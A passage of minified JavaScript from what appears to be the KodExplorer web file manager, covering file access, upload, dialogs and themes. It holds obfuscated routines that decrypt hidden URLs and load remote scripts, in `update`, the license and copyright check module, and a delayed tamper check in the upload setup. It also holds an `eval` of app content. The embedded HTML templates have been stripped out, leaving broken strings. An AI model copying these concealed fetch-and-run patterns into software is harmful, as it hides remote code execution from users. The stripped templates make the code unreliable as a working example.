G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),i='
        '+i+"
        ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0]; -if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
        ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
        '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
        ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": 